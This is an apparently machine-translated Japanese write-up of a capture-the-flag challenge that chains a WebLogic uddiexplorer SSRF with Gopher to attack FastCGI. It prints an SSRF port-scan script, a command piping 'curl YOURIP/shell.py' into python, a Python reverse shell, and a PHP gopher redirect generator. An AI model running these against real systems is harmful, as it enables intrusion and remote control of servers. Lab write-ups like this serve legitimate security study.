ホームページ  >  記事  >  バックエンド開発  >  三人の白い帽子 ~星から君を探して~ 第1話

三人の白い帽子 ~星から君を探して~ 第1話

WBOY
WBOYオリジナル
2016-06-20 12:26:131573ブラウズ

3 つの白い帽子 - 星からあなたを探して - 第 1 号

チャレンジの紹介

星からあなたを失った、必要かも知れません、すべて使います私の才能はあなたを取り戻すために 2 つの文を作成しましたが、続けることができませんでした。これは非常に単純な質問であることは認めます。

チャレンジターゲット

http://0761e975dda0c67cb.jie.sangebaimao.com/

0x01 情報収集

アドレスを開いてください、dzフォーラムです。あまり面白くないようですが、まだ最新バージョンです。

せっかく潜入したので、必殺兵器「スキャンディレクトリ」を使ってみたいと思います! (辞書が鍵です)

重要な情報はすぐに取得できました (dz のオリジナルのディレクトリとページを除く)

/info.php/uddiexplorer/

1 つは phpinfo() 情報、非常に役立ちます。

/opt/discuz/info.php

もう 1 つは Weblogic に関するものです。

決定的な Baidu 「uddiexplorer の脆弱性」 を確認すると、weblogic uddiexplorerSSRF の脆弱性があることがすぐにわかります。

この浸透の鍵は SSRF にあります! ! !

脆弱性の悪用

SSRF は、3 つのホワイト ハット エンチャント Docker を組み合わせて 127.0.0.1 を作成するだけではありません。

万能の Baidu、キーワード 「SearchPublicRegistries ssrf vulnerability exp」を検索

http://www.tuicool.com/articles/UjaqIbz を入手

スクリプトを入手し、自分で変更して使用してください! ! !

Port scan.py

#!/usr/bin/env python  # -*- coding: utf-8 -*- import reimport requestsdef scan(ip_str):    url = 'http://0761e975dda0c67cb.jie.sangebaimao.com'    ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',)    for port in ports:        exp_url = url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str, port)        try:            response = requests.get(exp_url, timeout=15, verify=False)            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)            re_sult2 = re.findall('but could not connect',response.content)            if len(re_sult1)!=0 and len(re_sult2)==0:                print ip_str+':'+port        except Exception, e:            passif __name__ == "__main__":    scan('127.0.0.1')

ポート 22、80、3306、7001、9000 などが正常に検出されました。

SSRF+GOPHER は常に素晴らしく、最近さらに人気が高まっています。

または Baidu~~

rr Chicory の最新記事「Do Evil Things with gopher://」

0x03 Attack FastCGI

一般的に、FastCGI は 127.0.0.1 ポートにバインドされていますが、Gopher+SSRF を使用すると、FastCGI を完全に攻撃して任意のコマンドを実行できます。

0x06 リファレンス

PHP FastCGI のリモート利用

コマンド実行

fcgi_exp のダウンロード

実行

nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"php -f gopher.php

ペイロードをx.txtに保存します

リバウンドシェルのブラックテクノロジー、bashリバウンドは無効です~~

次にペイロードをurlencodeしてssrf.php

シェルを生成します。 py

import socket,subprocess,os  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.connect(("yourip",9999))  os.dup2(s.fileno(),0)  os.dup2(s.fileno(),1)  os.dup2(s.fileno(),2)  p=subprocess.call(["/bin/bash","-i"]);

gopher.php

<?php$p = str_replace("+", "%20", urlencode(file_get_contents("x.txt")));file_put_contents("ssrf.php", "<?php header('Location: gopher://127.0.0.1:9000/_".$p."');?>");?>

エクスプロイト ファイル ssrf.php が正常に生成されました

リバウンド シェル

VPS が実行中

nc -lvv 9999

SSRF を使用してください

http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php

リバウンド成功~~~

GETFLAG

自分で見つけてください

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。